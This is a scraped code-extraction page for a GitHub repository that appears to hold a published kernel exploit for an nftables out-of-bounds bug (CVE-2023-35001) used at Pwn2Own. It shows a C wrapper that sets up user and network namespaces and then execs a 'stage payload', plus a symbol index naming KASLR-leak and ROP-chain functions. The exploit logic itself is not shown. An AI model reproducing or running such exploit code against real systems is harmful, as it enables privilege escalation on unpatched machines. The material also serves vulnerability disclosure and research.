#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

static void setup_namespaces(void)
{
	int fd;
	char buffer[128];
	int buffer_size;
	int ret;
	uid_t uid;
	ssize_t nb_write;

	uid = getuid();

	ret = unshare(CLONE_NEWUSER | CLONE_NEWNET);
	if (ret < 0) {
		err(1, "Failed to unshare");
	}

	buffer_size = snprintf(buffer, sizeof(buffer), "0 %u 1", uid);
	if (buffer_size < 0) {
		errx(1, "Failed to snprintf");
	}

	fd = openat(AT_FDCWD, "/proc/self/uid_map", O_WRONLY);
	if (fd < 0) {
		err(1, "Failed to open");
	}
	nb_write = write(fd, buffer, buffer_size);
	if (nb_write != buffer_size) {
		err(1, "Failed to write");
	}
	close(fd);

	fd = openat(AT_FDCWD, "/proc/self/setgroups", O_WRONLY);
	if (fd < 0) {
		err(1, "Failed to open");
	}
	nb_write = write(fd, "deny", strlen("deny"));
	if (nb_write != strlen("deny")) {
		err(1, "Failed to write");
	}
	close(fd);

	fd = openat(AT_FDCWD, "/proc/self/gid_map", O_WRONLY);
	if (fd < 0) {
		err(1, "Failed to open");
	}
	nb_write = write(fd, buffer, buffer_size);
	if (nb_write != buffer_size) {
		err(1, "Failed to write");
	}
	close(fd);
}

int main(int argc, char *argv[], char *envp[])
{
	(void)argc;

	setup_namespaces();

	execve(argv[1], &argv[1], envp);
	err(1, "Failed to exec stage payload");

	return 0;
}
Download .txt
gitextract__sgpeqhj/

├── Makefile
├── README.md
├── go.mod
├── go.sum
├── main.go
└── src/
    └── wrapper.c
Download .txt
SYMBOL INDEX (14 symbols across 2 files)

FILE: main.go
  type exploitConfig (line 31) | type exploitConfig struct
  function CToGoString (line 68) | func CToGoString(b []byte) string {
  function init (line 84) | func init() {
  function packet_leak_path (line 117) | func packet_leak_path() {
  function packet_ropchain_path (line 132) | func packet_ropchain_path(ropchain []byte) {
  function craft_rop_chain (line 146) | func craft_rop_chain(kernelBase uint64) []byte {
  function leak_module_step (line 188) | func leak_module_step(conn *nftables.Conn, moduleBase uint64, kernelBase...
  function leak_kaslr_step (line 509) | func leak_kaslr_step(conn *nftables.Conn, moduleBase uint64, kernelBase ...
  function ropchain_step (line 895) | func ropchain_step(conn *nftables.Conn, moduleBase uint64, kernelBase ui...
  type ExploitStepFn (line 1213) | type ExploitStepFn
  function nftables_wrapper (line 1215) | func nftables_wrapper(handle netns.NsHandle, step ExploitStepFn, moduleB...
  function main (line 1236) | func main() {

FILE: src/wrapper.c
  function setup_namespaces (line 11) | static void setup_namespaces(void)
  function main (line 63) | int main(int argc, char *argv[], char *envp[])
Condensed preview — 6 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (57K chars).
[
  {
    "path": "Makefile",
    "chars": 392,
    "preview": "CC = gcc\nCFLAGS = -Wall -Wextra -Werror\nCFLAGS += -std=c99\nCFLAGS += -Os -g0\nCFLAGS += -D_GNU_SOURCE -D_DEFAULT_SOURCE -"
  },
  {
    "path": "README.md",
    "chars": 627,
    "preview": "# nftables oob read/write exploit (CVE-2023-35001)\n\nExploit used at pwn2own Vancouver 2023 on Ubuntu desktop. The exploi"
  },
  {
    "path": "go.mod",
    "chars": 385,
    "preview": "module exploit\n\ngo 1.15\n\nrequire (\n\tgithub.com/florianl/go-nflog v1.1.0 // indirect\n\tgithub.com/florianl/go-nflog/v2 v2."
  },
  {
    "path": "go.sum",
    "chars": 14299,
    "preview": "github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=\ngithub.com/BurntSushi/toml v0.4"
  },
  {
    "path": "main.go",
    "chars": 35311,
    "preview": "package main\n\nimport (\n\t\"C\"\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"time\"\n\n\t\"github.com/google/nftables\"\n\t\"golang.or"
  },
  {
    "path": "src/wrapper.c",
    "chars": 1397,
    "preview": "#include <err.h>\n#include <sched.h>\n#include <stdio.h>\n#include <string.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n"
  }
]

About this extraction

This page contains the full source code of the synacktiv/CVE-2023-35001 GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 6 files (51.2 KB), approximately 20.6k tokens, and a symbol index with 14 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!